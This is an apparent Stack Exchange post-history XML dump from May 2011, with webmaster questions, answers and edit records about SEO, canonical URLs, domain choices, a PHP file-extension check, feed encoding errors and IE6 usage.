  <row Id="33379" PostHistoryTypeId="5" PostId="14182" RevisionGUID="0b388e05-2650-4f73-9d53-15329d8a1474" CreationDate="2011-05-23T16:08:17.430" UserId="7628" Comment="Removed introductory paragraph, which is no longer relevant." Text="So, if you concatenate $samplePath and $sampleFile together, you get the full path the the sample file, on disk. i.e.:  `$samplePath . $sampleFile` gets you `/path/to/samples/folder/sub-folder/path/to/file.mp3`&#xD;&#xA;&#xD;&#xA;In this example, it's actually not necessary to get the $samplePath, since you can just test whether or not $sampleFile ends with &quot;.mp3&quot;, as shown below, but I wanted to demonstrate how to get to the full path anyhow.&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    if ($this-&gt;hasSamples()):&#xD;&#xA;        $_samples = $this-&gt;getSamples();&#xD;&#xA;&#xD;&#xA;        foreach ($_samples as $_sample):&#xD;&#xA;            $samplePath = $_sample-&gt;getBasePath(); // returns &quot;/path/to/samples/folder&quot;&#xD;&#xA;            $sampleFile = $_sample-&gt;getSampleFile(); // returns &quot;/sub-folder/path/to/file.mp3&quot;&#xD;&#xA;&#xD;&#xA;            // Figure out if the filename ends with &quot;.mp3&quot;&#xD;&#xA;            $length = strlen(&quot;.mp3&quot;);&#xD;&#xA;            $start  = $length * -1;&#xD;&#xA;            $_is_mp3 = (substr($sampleFile, $start) === &quot;.mp3&quot;);&#xD;&#xA;            if ($_is_mp3):&#xD;&#xA;                //show the mp3 player&#xD;&#xA;            else:&#xD;&#xA;                //show a link to the file&#xD;&#xA;            endif;&#xD;&#xA;             &#xD;&#xA;        endforeach;&#xD;&#xA;&#xD;&#xA;    endif;&#xD;&#xA;    ?&gt;&#xD;&#xA;" />
  <row Id="33380" PostHistoryTypeId="24" PostId="14182" RevisionGUID="0b388e05-2650-4f73-9d53-15329d8a1474" CreationDate="2011-05-23T16:08:17.430" Comment="Proposed by 7628 approved by -1 edit id of 340" />
  <row Id="33381" PostHistoryTypeId="5" PostId="14182" RevisionGUID="faa505c6-dd1d-4c8e-b3de-985623281adf" CreationDate="2011-05-23T16:08:18.803" UserId="1064" Comment="Cleaned up code to make use of negative starting position on substr()" Text="So, if you concatenate $samplePath and $sampleFile together, you get the full path the the sample file, on disk. i.e.:  `$samplePath . $sampleFile` gets you `/path/to/samples/folder/sub-folder/path/to/file.mp3`&#xD;&#xA;&#xD;&#xA;In this example, it's actually not necessary to get the $samplePath, since you can just test whether or not $sampleFile ends with &quot;.mp3&quot;, as shown below, but I wanted to demonstrate how to get to the full path anyhow.&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    if ($this-&gt;hasSamples()):&#xD;&#xA;        $_samples = $this-&gt;getSamples();&#xD;&#xA;&#xD;&#xA;        foreach ($_samples as $_sample):&#xD;&#xA;            $samplePath = $_sample-&gt;getBasePath(); // returns &quot;/path/to/samples/folder&quot;&#xD;&#xA;            $sampleFile = $_sample-&gt;getSampleFile(); // returns &quot;/sub-folder/path/to/file.mp3&quot;&#xD;&#xA;&#xD;&#xA;            // Figure out if the filename ends with &quot;.mp3&quot;&#xD;&#xA;            $_is_mp3 = (bool)(&quot;.mp3&quot; == substr($sampleFile, -4));&#xD;&#xA;            if ($_is_mp3):&#xD;&#xA;                //show the mp3 player&#xD;&#xA;            else:&#xD;&#xA;                //show a link to the file&#xD;&#xA;            endif;&#xD;&#xA;             &#xD;&#xA;        endforeach;&#xD;&#xA;&#xD;&#xA;    endif;&#xD;&#xA;    ?&gt;&#xD;&#xA;" />
  <row Id="33382" PostHistoryTypeId="5" PostId="14270" RevisionGUID="e4cfb66c-c70a-44ee-b631-d19031787e3b" CreationDate="2011-05-23T16:11:15.323" UserId="4786" Comment="removed signature per faq" Text="The better question is, are there any that currently DO NOT support auto linking of phone numbers by default? Main support for iPhone, Android, BB, Windows Phone, Palm.&#xD;&#xA;&#xD;&#xA;I'm trying to determine if I should be adding href tags to the phone numbers on multiple client sites (e.g. `&lt;a href=&quot;tel:+1-800-555-1212&quot;&gt;800-555-1212&lt;/a&gt;`). The only reason I would be doing such a thing at this point is to allow for backwards (or future) compatibility, however, I'm having a hard time determining if it's worth the time or effort, as these links currently don't do much in a normal browser (FF, IE, Chrome, Safari, etc)." />
  <row Id="33383" PostHistoryTypeId="24" PostId="14270" RevisionGUID="e4cfb66c-c70a-44ee-b631-d19031787e3b" CreationDate="2011-05-23T16:11:15.323" Comment="Proposed by 4786 approved by 1064 edit id of 339" />
  <row Id="33384" PostHistoryTypeId="2" PostId="14271" RevisionGUID="501d4b2f-ae76-4f8c-8f75-6680b1c0dd23" CreationDate="2011-05-23T16:20:13.880" UserId="-1" Text="" />
  <row Id="33385" PostHistoryTypeId="2" PostId="14272" RevisionGUID="43c2b132-e1bd-4d77-9b5f-f2b3363bffd6" CreationDate="2011-05-23T16:20:13.880" UserId="-1" Text="" />
  <row Id="33386" PostHistoryTypeId="5" PostId="14263" RevisionGUID="98948a4f-2f98-427e-98aa-271ffabf6dce" CreationDate="2011-05-23T16:22:55.037" UserId="4786" Comment="removed greeting and signature per faq" Text="Is there - as far as you know - a lighbox-like jQuery plugin that can display text in a lighbox fashion?&#xD;&#xA;&#xD;&#xA;I would need to display information and error messages in a message box which should behave just as a lightbox (i.e. shadowing background)." />
  <row Id="33387" PostHistoryTypeId="24" PostId="14263" RevisionGUID="98948a4f-2f98-427e-98aa-271ffabf6dce" CreationDate="2011-05-23T16:22:55.037" Comment="Proposed by 4786 approved by 1064 edit id of 342" />
  <row Id="33388" PostHistoryTypeId="5" PostId="14272" RevisionGUID="5ccdd78a-60c5-4dd2-8d8c-2df4a58c9448" CreationDate="2011-05-23T16:26:36.487" UserId="1643" Comment="added 213 characters in body" Text="Facebook allows applications on its platform. Through a carefully controlled API the applications look to the user like they are part of Facebook but actually they are running on the application author's servers. " />
  <row Id="33389" PostHistoryTypeId="24" PostId="14272" RevisionGUID="5ccdd78a-60c5-4dd2-8d8c-2df4a58c9448" CreationDate="2011-05-23T16:26:36.487" Comment="Proposed by 1643 approved by 1064 edit id of 341" />
  <row Id="33390" PostHistoryTypeId="2" PostId="14273" RevisionGUID="1ff5a598-2e6d-4a37-bb28-a5b7e807f4a0" CreationDate="2011-05-23T16:46:20.517" UserId="7588" Text="Meta Tags are so 'SEO 1.0', you need RDFa semantic markup - 'SEO 2.0'. If you check out the Good Relations schema there are case studies about how these work for big brands that have implemented RDFa.&#xD;&#xA;&#xD;&#xA;http://purl.org/goodrelations/" />
  <row Id="33391" PostHistoryTypeId="2" PostId="14274" RevisionGUID="61f4ee25-d30d-4272-964e-4211d897e528" CreationDate="2011-05-23T16:52:00.500" UserId="7588" Text="You can pull through an RSS feed from some Wordpress blog you setup specifically for your news. There will only need to be minimal effort if you use Google RSS API tools:&#xD;&#xA;&#xD;&#xA;http://www.google.com/uds/solutions/dynamicfeed/index.html" />
  <row Id="33392" PostHistoryTypeId="2" PostId="14275" RevisionGUID="fc52d205-5346-4bde-abbf-b2e095c49e88" CreationDate="2011-05-23T17:01:40.337" UserId="7588" Text="Worry about Rsync later - for now you can do it all on the one box.&#xD;&#xA;&#xD;&#xA;Your main domain is http://www.example.com/ on this domain you serve cookies (yum!).&#xD;&#xA;&#xD;&#xA;The non-www redirects to the above.&#xD;&#xA;&#xD;&#xA;Your static domain is http://static.example.com/ and on this domain you don't serve cookies or any other header items that are not really needed. Put js+css on there compressed and images served uncompressed. Set anything served on static to be public cache-able and with an expiry date some time into the future. &#xD;&#xA;&#xD;&#xA;Now setup your domains to point to the same place on the file system, i.e. if you really want to load test.jpg you can get exactly the same file from either place. Do this with httpd.conf settings and two virtual server entries.&#xD;&#xA;&#xD;&#xA;When your traffic gets to big levels you can migrate your static content server to a different box and rsync the whole document root to the new box. A cron job can be setup to do this every 5 minutes or so and the 404 of the static can redirect to the www to pick up on any resources not yet rsynced.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33393" PostHistoryTypeId="2" PostId="14276" RevisionGUID="42e5db9b-b135-4287-8907-5cd6e4199dc8" CreationDate="2011-05-23T17:47:08.760" UserId="7753" Text="I have a site that has a domain name that is a word created out of a country code (like bit.ly awe.sm favo.rs)  My question is how do search engines handle these.  For example, would a search on favors return a link to favors given their search criteria?  For on site copy, should the domain be used or the underlying word without the dot in it?  I'd like to know which would be most optimal to use in site copy for SEO purposes.    " />
  <row Id="33394" PostHistoryTypeId="1" PostId="14276" RevisionGUID="42e5db9b-b135-4287-8907-5cd6e4199dc8" CreationDate="2011-05-23T17:47:08.760" UserId="7753" Text="How do search engines treat domains created out of country codes (e.g bit.ly)" />
  <row Id="33395" PostHistoryTypeId="3" PostId="14276" RevisionGUID="42e5db9b-b135-4287-8907-5cd6e4199dc8" CreationDate="2011-05-23T17:47:08.760" UserId="7753" Text="&lt;seo&gt;&lt;seo-friendly&gt;&lt;url-shorteners&gt;" />
  <row Id="33396" PostHistoryTypeId="6" PostId="14276" RevisionGUID="2870f7a5-0ec8-4c0d-8fc3-da617f463053" CreationDate="2011-05-23T17:56:28.453" UserId="7753" Comment="edited tags" Text="&lt;seo&gt;&lt;seo-friendly&gt;&lt;url-shorteners&gt;&lt;domain-hacks&gt;" />
  <row Id="33397" PostHistoryTypeId="2" PostId="14277" RevisionGUID="8598b96b-c3e0-4d2d-a2d9-3f1f133ae533" CreationDate="2011-05-23T17:57:11.730" UserId="1253" Text="1) See [this answer for how TLD affects SEO][1]&#xD;&#xA;&#xD;&#xA;2) favo.rs will *probably not* do as well as `favors.rs` or `favors` in the copy as the `.` is probably a word delimiter so breaking it up in the URL/domain name/copy prevents it from being recognized as &quot;favors&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/2330/does-google-penalize-me-or-tv-sites/2331#2331" />
  <row Id="33398" PostHistoryTypeId="5" PostId="14276" RevisionGUID="b93d28d5-30f3-4882-9ba5-bf33c00028f7" CreationDate="2011-05-23T17:58:18.253" UserId="1253" Comment="modified tags, formated question to make questions clearer" Text="I have a site that has a domain name that is a word created out of a country code (like bit.ly awe.sm favo.rs)  My question is how do search engines handle these.  &#xD;&#xA;&#xD;&#xA;For example, would a search on favors return a link to favors given their search criteria? &#xD;&#xA;&#xD;&#xA;For on site copy, should the domain be used or the underlying word without the dot in it?&#xD;&#xA;&#xD;&#xA;I'd like to know which would be most optimal to use in site copy for SEO purposes.    " />
  <row Id="33399" PostHistoryTypeId="6" PostId="14276" RevisionGUID="b93d28d5-30f3-4882-9ba5-bf33c00028f7" CreationDate="2011-05-23T17:58:18.253" UserId="1253" Comment="modified tags, formated question to make questions clearer" Text="&lt;seo&gt;&lt;seo-friendly&gt;&lt;domain-hacks&gt;" />
  <row Id="33400" PostHistoryTypeId="25" PostId="14270" RevisionGUID="a7b2d269-ef18-4a1a-8055-8786fee65b1e" CreationDate="2011-05-23T18:12:38.473" Comment="http://twitter.com/#!/StackWebmasters/status/72726646465101824" />
  <row Id="33401" PostHistoryTypeId="2" PostId="14278" RevisionGUID="864302e1-51e0-4d6a-b0eb-f51d1738ce39" CreationDate="2011-05-23T18:27:33.547" UserId="7287" Text="Another CMS option that I have heard great things about is http://www.simplecms.com/&#xD;&#xA;" />
  <row Id="33402" PostHistoryTypeId="2" PostId="14279" RevisionGUID="b38c7b65-e6f5-48d4-8871-ef134fe90d16" CreationDate="2011-05-23T18:30:31.817" UserId="6033" Text="I'm working with a site that uses slightly different URLs for the same content. The sitemap lists the pages as:&#xD;&#xA;&#xD;&#xA;    www.website.com/webpage.html&#xD;&#xA;&#xD;&#xA;If you surf through the site the same page is found at:&#xD;&#xA;&#xD;&#xA;    www.website.com/webpage&#xD;&#xA;&#xD;&#xA;Without the .html ending.&#xD;&#xA;&#xD;&#xA;This could get fixed using canonical tags, but is it worth the effort when two URLs are that similar? Would a search engine consider them two different pages?" />
  <row Id="33403" PostHistoryTypeId="1" PostId="14279" RevisionGUID="b38c7b65-e6f5-48d4-8871-ef134fe90d16" CreationDate="2011-05-23T18:30:31.817" UserId="6033" Text="Similar URLs for same page" />
  <row Id="33404" PostHistoryTypeId="3" PostId="14279" RevisionGUID="b38c7b65-e6f5-48d4-8871-ef134fe90d16" CreationDate="2011-05-23T18:30:31.817" UserId="6033" Text="&lt;seo&gt;&lt;canonical-url&gt;&lt;duplicate-content&gt;" />
  <row Id="33405" PostHistoryTypeId="2" PostId="14280" RevisionGUID="1eff211b-d5bd-458a-b50c-3da6e5f65372" CreationDate="2011-05-23T18:34:04.117" UserId="1253" Text="Those will absolutely be considered two different pages. Just one character is all it takes to make two URLs different. Canonical URLs are commonly used for different query strings that product the same content but file extension is no different. Definitely use canonical URLs for pages like that." />
  <row Id="33406" PostHistoryTypeId="2" PostId="14281" RevisionGUID="9ad767c5-8fd6-4c22-af8c-b652b1d1343f" CreationDate="2011-05-23T18:37:27.077" UserId="5315" Text="If you have the [proper canonical page link][1] on the page, then search engines *shouldn't* treat the pages different.&#xD;&#xA;&#xD;&#xA;However, from a SEO perspective, you really want to go with the link without the .html ending, they tend to be considered to have more relevance by search engines.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="33407" PostHistoryTypeId="2" PostId="14282" RevisionGUID="3753291d-6d52-4d27-99d8-71d09190d340" CreationDate="2011-05-23T19:53:02.293" UserId="7755" Text="This is kind of a newb question, but my boss asked me and I wasn't sure exactly how to answer. Id like to get some opinions from others that have hit this issue before.&#xD;&#xA;&#xD;&#xA;Scenario:&#xD;&#xA;&#xD;&#xA;We are wanting to purchase a new chain of URLs for a new site expenditure. The #1 goal for my boss is when a customer searches for &quot;This product miami&quot;, or &quot;miami this product&quot; that our URL will always show up first because the structure of the URL would be indicative of the search term. So if the user searched for &quot;This product miami&quot;, the search result would return&#xD;&#xA;&#xD;&#xA;www.thisproductmiami.com&#xD;&#xA;&#xD;&#xA;of if they search for &quot;This product new york&quot;, it would return&#xD;&#xA;&#xD;&#xA;www.thisproductnewyork.com&#xD;&#xA;&#xD;&#xA;So, he is hellbent on getting thisproductnewyork.com, thisproductmiami.com and so on for every major city in the US. So we will end up purchasing a &quot;thisproductthiscity.com&quot; for every city. See my confusion???&#xD;&#xA;&#xD;&#xA;To me as a web developer the best way i'd see this working is:&#xD;&#xA;&#xD;&#xA;miami.thisproduct.com newyork.thisproduct.com&#xD;&#xA;&#xD;&#xA;That way, the city still searchable, but its all managed and aggregated by one domain.&#xD;&#xA;&#xD;&#xA;What would give us the best search results. Purely based on the URL. This would help me out so much, any advice with links to articles or anything covering the subject so I can back it up with docs, would be nice. Thanks in advance.&#xD;&#xA;" />
  <row Id="33408" PostHistoryTypeId="1" PostId="14282" RevisionGUID="3753291d-6d52-4d27-99d8-71d09190d340" CreationDate="2011-05-23T19:53:02.293" UserId="7755" Text="Formatting/Selecting URL for best search engine results." />
  <row Id="33409" PostHistoryTypeId="3" PostId="14282" RevisionGUID="3753291d-6d52-4d27-99d8-71d09190d340" CreationDate="2011-05-23T19:53:02.293" UserId="7755" Text="&lt;seo&gt;&lt;url&gt;&lt;keywords&gt;&lt;multiple-domains&gt;" />
  <row Id="33410" PostHistoryTypeId="5" PostId="14281" RevisionGUID="34ddfeaf-cc21-4b70-a0f4-da63830864ea" CreationDate="2011-05-23T19:57:35.260" UserId="5315" Comment="added 665 characters in body" Text="If you have the [proper canonical page link][1] on the page, then search engines *shouldn't* treat the pages different.&#xD;&#xA;&#xD;&#xA;However, from a SEO perspective, there's no definitive answer one way or another ([Google &quot;seo ranking file extension&quot;][2] to see what I mean)&#xD;&#xA;&#xD;&#xA;What you should be concerned about, however, is that [cool URIs don't change][3] and that most people have an easier time with remembering pages *without* extensions than they do ones with extensions (do you really want people trying to remember if it's `.asp`/`.aspx` or `.htm`/`.html` based on your platform?).&#xD;&#xA;&#xD;&#xA;Additionally, there's a point to be made about the extensions themselves, that they tie the link to the implementation of what's serving up the link (and that this is an implementation detail which is not specific to the content of the page itself).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;  [2]: http://www.google.com/search?q=seo%20ranking%20page%20extension&#xD;&#xA;  [3]: http://www.w3.org/Provider/Style/URI" />
  <row Id="33411" PostHistoryTypeId="2" PostId="14283" RevisionGUID="9ce6d9a5-6c93-4b90-a8c8-6830201b6af0" CreationDate="2011-05-23T19:58:50.053" UserId="1253" Text="[Buying multiple domains and pointing them to one website won't help with SEO at all.][1]&#xD;&#xA;&#xD;&#xA;As far as the subdomain thing (or subdirectory as for SEO subdirectories and subdomains are equal) you need to make sure the content for each city is different or else it's all duplicate content and will be filtered out of the search results. &#xD;&#xA;&#xD;&#xA;So, is the content going to be different for each city? If not this strategy won't work at all regardless of how you do it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3777/could-i-buy-a-domain-name-to-increase-traffic-to-my-site-like-this/3778#3778" />
  <row Id="33412" PostHistoryTypeId="4" PostId="14270" RevisionGUID="39ed5f7a-6b15-4c66-bbf3-7fb12f99f3c7" CreationDate="2011-05-23T20:15:30.527" UserId="7751" Comment="edited title" Text="Which current stock mobile browsers support linked phone numbers by default?" />
  <row Id="33413" PostHistoryTypeId="2" PostId="14284" RevisionGUID="65867b5c-f159-4446-911e-837232db3fee" CreationDate="2011-05-23T20:30:14.800" UserId="6669" Text="What I would like to do is the following:&#xD;&#xA;&#xD;&#xA;I have a website @ http://dev.upcoming-djs.com which display a music charts.&#xD;&#xA;&#xD;&#xA;And displays a music player at the right side.&#xD;&#xA;&#xD;&#xA;I would like to make an URL like: http://dev.upcoming-djs.com/track&#xD;&#xA;&#xD;&#xA;Which points to the same page only with the track loaded in the player at the right side.&#xD;&#xA;&#xD;&#xA;If I understand correctly it isn't good (SEO wise) to point different URL's to the same page (with same content).&#xD;&#xA;&#xD;&#xA;Is this true? And if so is the penalty severe?" />
  <row Id="33414" PostHistoryTypeId="1" PostId="14284" RevisionGUID="65867b5c-f159-4446-911e-837232db3fee" CreationDate="2011-05-23T20:30:14.800" UserId="6669" Text="SEO: two URL's pointing to almost the same content" />
  <row Id="33415" PostHistoryTypeId="3" PostId="14284" RevisionGUID="65867b5c-f159-4446-911e-837232db3fee" CreationDate="2011-05-23T20:30:14.800" UserId="6669" Text="&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="33416" PostHistoryTypeId="2" PostId="14285" RevisionGUID="39c9be9a-e4bf-4f3d-bbb7-1d456fabcefb" CreationDate="2011-05-23T20:33:50.970" UserId="1253" Text="This example is almost identical to what Google mentions in their [canonical blog post][1]. You want to use Canonical URLs for this. If you don't the page they include in their index may not be the one you wish to have shown.&#xD;&#xA;&#xD;&#xA;&gt; **Is it okay if the canonical is not an exact duplicate of the content?**&#xD;&#xA;&gt;&#xD;&#xA;We allow slight differences, e.g., in the sort order of a table of products. We also recognize that we may crawl the canonical and the duplicate pages at different points in time, so we may occasionally see different versions of your content. All of that is okay with us.&#xD;&#xA;&#xD;&#xA;In your case it's just a different track playing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="33417" PostHistoryTypeId="2" PostId="14286" RevisionGUID="69e3d8dc-9229-48af-a5c0-769b7a0ae6d8" CreationDate="2011-05-23T20:40:03.850" UserId="1583" Text="There are so many conflicting pieces of research on whether duplicate content is bad that I'm not sure that you should worry about it; especially as your second page isn't exactly the same.  Make sure you put some different text around the control on the second page (if you can), perhaps a h4 tag saying the track's name, to differentiate it - or if you are just loading a track the meta data of the track may be enough to be different.&#xD;&#xA;&#xD;&#xA;Duplicate is bad:&#xD;&#xA;&#xD;&#xA; - http://www.practicalecommerce.com/articles/444-SEO-The-Duplicate-Content-Penalty&#xD;&#xA; - http://www.seosapien.com/blog/2009/06/simple-ways-to-avoid-duplicate-content.html  &#xD;&#xA; - http://www.searchenginejournal.com/duplicate-content-penalty-how-to-lose-google-ranking-fast/1886/&#xD;&#xA;&#xD;&#xA;Duplicate is irrelevant:&#xD;&#xA;&#xD;&#xA; - http://www.practicalecommerce.com/articles/1326-SEO-There-Is-No-Duplicate-Content-Penalty&#xD;&#xA; - http://searchengineland.com/the-duplicate-content-penalty-myth-10741&#xD;&#xA; - http://isedb.com/20100330-3397.php&#xD;&#xA;" />
  <row Id="33418" PostHistoryTypeId="5" PostId="14282" RevisionGUID="e4e93580-9661-4fb4-a76b-c8d468565f94" CreationDate="2011-05-23T21:03:47.320" UserId="7755" Comment="deleted 18 characters in body" Text="This is kind of a newb question, but my boss asked me and I wasn't sure exactly how to answer. Id like to get some opinions from others that have hit this issue before.&#xD;&#xA;&#xD;&#xA;Scenario:&#xD;&#xA;&#xD;&#xA;We are wanting to purchase a new chain of URLs for a new site expenditure. The #1 goal for my boss is when a customer searches for &quot;This product miami&quot;, or &quot;miami this product&quot; that our URL will always show up first because the structure of the URL would be indicative of the search term. So if the user searched for &quot;This product miami&quot;, the search result would return&#xD;&#xA;&#xD;&#xA;www.thisproductmiami.com&#xD;&#xA;&#xD;&#xA;of if they search for &quot;This product new york&quot;, it would return&#xD;&#xA;&#xD;&#xA;www.thisproductnewyork.com&#xD;&#xA;&#xD;&#xA;So, getting thisproductnewyork.com, thisproductmiami.com and so on for every major city in the US. So we will end up purchasing a &quot;thisproductthiscity.com&quot; for every city. See my confusion???&#xD;&#xA;&#xD;&#xA;To me as a web developer the best way i'd see this working is:&#xD;&#xA;&#xD;&#xA;miami.thisproduct.com newyork.thisproduct.com&#xD;&#xA;&#xD;&#xA;That way, the city still searchable, but its all managed and aggregated by one domain.&#xD;&#xA;&#xD;&#xA;What would give us the best search results. Purely based on the URL. This would help me out so much, any advice with links to articles or anything covering the subject so I can back it up with docs, would be nice. Thanks in advance.&#xD;&#xA;" />
  <row Id="33419" PostHistoryTypeId="2" PostId="14287" RevisionGUID="f128e282-e93e-4baa-96d6-bf9d79a15bc0" CreationDate="2011-05-23T21:04:41.183" UserId="7758" Text="I'm trying to get my site's products uploaded to google's merchant center, but it's only uploading 2 of the ~20,000 I have.  When I open the datafeed url (in Chrome) to look into it I get the error message &quot;error on line 38 at column 761: Entity 'Acirc' not defined&#xD;&#xA;error on line 38 at column 761: Encoding error&quot;  Now I'm not sure exactly what the problem is, when I look at the product where it encountered the error everything looks ok but something is obviously not.  What should I be looking into?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="33420" PostHistoryTypeId="1" PostId="14287" RevisionGUID="f128e282-e93e-4baa-96d6-bf9d79a15bc0" CreationDate="2011-05-23T21:04:41.183" UserId="7758" Text="Error message when opening Googlebase data feed" />
  <row Id="33421" PostHistoryTypeId="3" PostId="14287" RevisionGUID="f128e282-e93e-4baa-96d6-bf9d79a15bc0" CreationDate="2011-05-23T21:04:41.183" UserId="7758" Text="&lt;google&gt;&lt;error&gt;" />
  <row Id="33422" PostHistoryTypeId="25" PostId="14284" RevisionGUID="e68eab15-e5f1-4c01-abf5-572347a02133" CreationDate="2011-05-23T21:12:37.713" Comment="http://twitter.com/#!/StackWebmasters/status/72771941064392705" />
  <row Id="33423" PostHistoryTypeId="2" PostId="14288" RevisionGUID="08d31e88-5645-41a0-98ee-73afccffa695" CreationDate="2011-05-23T21:33:16.957" UserId="7759" Text="According to [IE6 Countdown][1], IE6 usage is down to 11.4%, and they are watching for it to &quot;drop to less than 1% worldwide, so more websites can choose to drop support&quot;.&#xD;&#xA;&#xD;&#xA;This sounds good in theory, but usage is highly concentrated in one geographic region:&#xD;&#xA;&#xD;&#xA;* China, 34.6%&#xD;&#xA;* South Korea, 23.5%&#xD;&#xA;* Taiwan, 9.4%&#xD;&#xA;* Vietnam, 8.9%&#xD;&#xA;* Japan, 8.0%&#xD;&#xA;* Hong Kong SAR, 7.0%&#xD;&#xA;&#xD;&#xA;Only a couple of countries in the top 10 are outside of east/southeast Asia.  Half the world's IE6 users are in China.&#xD;&#xA;&#xD;&#xA;What this means is that even if *every other country in the world* dropped to absolute 0 usage of IE6, we'd still be well above 5% IE6 usage worldwide.  As a programmer, I know to profile for hotspots before spending any time optimizing, so if my goal is to get worldwide usage down, it's a waste of time to spend any effort on the 2.4% of Americans (or even the 3.9% of Argentines) using IE6.  I need to go after China, and to a lesser extent South Korea and India.&#xD;&#xA;&#xD;&#xA;Are there specific reasons why these countries are using IE6 so much?  What specific actions can a developer (or evangelist) do to help get these countries off IE6?  Are they on a PC/OS that can't upgrade, or do they not know, or do they not want to, or are they not allowed to?  Should we be pushing newer versions of IE, other browsers, other OSs, or mobile?  Are these IE6 users home or corporate, and if the latter, is Chrome Frame or Firefox Portable an option?  Are there a few specific websites they use, who we could ask to provide a better experience in more modern browsers?  Are they using a small local version of a popular website, because the big popular one isn't translated into their language?&#xD;&#xA;&#xD;&#xA;I really know nothing about web browsers in China but that seems like I ought to if we want to get IE6 usage numbers down.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.theie6countdown.com/default.aspx&#xD;&#xA;" />
  <row Id="33424" PostHistoryTypeId="1" PostId="14288" RevisionGUID="08d31e88-5645-41a0-98ee-73afccffa695" CreationDate="2011-05-23T21:33:16.957" UserId="7759" Text="How to get China to upgrade off IE6?" />
  <row Id="33425" PostHistoryTypeId="3" PostId="14288" RevisionGUID="08d31e88-5645-41a0-98ee-73afccffa695" CreationDate="2011-05-23T21:33:16.957" UserId="7759" Text="&lt;country-specific&gt;&lt;internet-explorer-6&gt;" />
  <row Id="33426" PostHistoryTypeId="17" PostId="14289" RevisionGUID="fe5fca52-e639-40e5-b54b-8f597f932a4a" CreationDate="2011-05-23T21:46:29.447" UserId="-1" Comment="from http://stackoverflow.com/questions/6103385/is-discountasp-a-good-host-choice-for-an-app-that-will-have-mostly-foreign-traffi" Text="" />
  <row Id="33427" PostHistoryTypeId="2" PostId="14289" RevisionGUID="549a2090-9d73-4f8e-a0a9-0fe210e8806f" CreationDate="2011-05-23T21:40:11.257" UserDisplayName="Prabhu" Text="I've created an ASP.NET MVC application for a client in India.  Most of the web traffic would come from India.  I typically host my apps at DiscountASP, but would this be a good choice for an app whose traffic is primarily from India?  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="33428" PostHistoryTypeId="1" PostId="14289" RevisionGUID="549a2090-9d73-4f8e-a0a9-0fe210e8806f" CreationDate="2011-05-23T21:40:11.257" UserDisplayName="Prabhu" Text="Is DiscountASP a good host choice for an app that will have mostly foreign traffic?" />
  <row Id="33429" PostHistoryTypeId="3" PostId="14289" RevisionGUID="549a2090-9d73-4f8e-a0a9-0fe210e8806f" CreationDate="2011-05-23T21:40:11.257" UserDisplayName="Prabhu" Text="&lt;.net&gt;&lt;asp.net&gt;&lt;asp.net-mvc&gt;&lt;web-hosting&gt;" />
  <row Id="33430" PostHistoryTypeId="5" PostId="13953" RevisionGUID="61353f28-905e-4196-891c-885d96b82c99" CreationDate="2011-05-23T21:47:36.397" UserId="5166" Comment="typo" Text="There is no rule that says a sitemap file should live in the root of a website and be named in a special way. Any engine that allows you to submit XML sitemaps allows you to specify the URL for the sitemap. I usually put them in a `/sitemaps/` folder for convenience because I usually have several sitemaps. One for videos, one for news articles and one for general content. And actually one more that points to those three sitemaps so that I only have to submit one file.&#xD;&#xA;&#xD;&#xA;Sometimes search engines don't find all of your content so a sitemap file is a way for you to say &quot;this is all of my content, please cross reference with it when spidering&quot;. Engines aren't required to do this and there's no guarantee that they will but at least you tried. I have done experiments where I created a file that is only accessible through the sitemap file and it did appear in the search results." />
  <row Id="33431" PostHistoryTypeId="10" PostId="14288" RevisionGUID="82551930-d41c-47bb-86e0-3e89f4f1852d" CreationDate="2011-05-23T22:15:49.143" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33432" PostHistoryTypeId="5" PostId="14289" RevisionGUID="177bdd23-eba9-48cc-92f3-d1c48971e6c5" CreationDate="2011-05-23T22:17:10.580" UserId="1253" Comment="modified tags" Text="I've created an ASP.NET MVC application for a client in India.  Most of the web traffic would come from India.  I typically host my apps at DiscountASP, but would this be a good choice for an app whose traffic is primarily from India?   &#xD;&#xA;&#xD;&#xA;" />
  <row Id="33433" PostHistoryTypeId="6" PostId="14289" RevisionGUID="177bdd23-eba9-48cc-92f3-d1c48971e6c5" CreationDate="2011-05-23T22:17:10.580" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;asp.net&gt;" />
  <row Id="33434" PostHistoryTypeId="2" PostId="14290" RevisionGUID="54c66081-ec52-4940-971a-60f4e13299ed" CreationDate="2011-05-23T22:33:59.493" UserId="1064" Text="The `&amp;Acirc;` entity represents `Â` in HTML, however, your feed should contain a literal `Â` (with a [supported encoding type][1]) instead of the HTML entity.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/merchants/bin/answer.py?answer=160079" />
  <row Id="33435" PostHistoryTypeId="25" PostId="14279" RevisionGUID="b316d2a5-bf46-4cfc-a1ca-0cbdd72872ff" CreationDate="2011-05-24T00:12:37.873" Comment="http://twitter.com/#!/StackWebmasters/status/72817240440963072" />
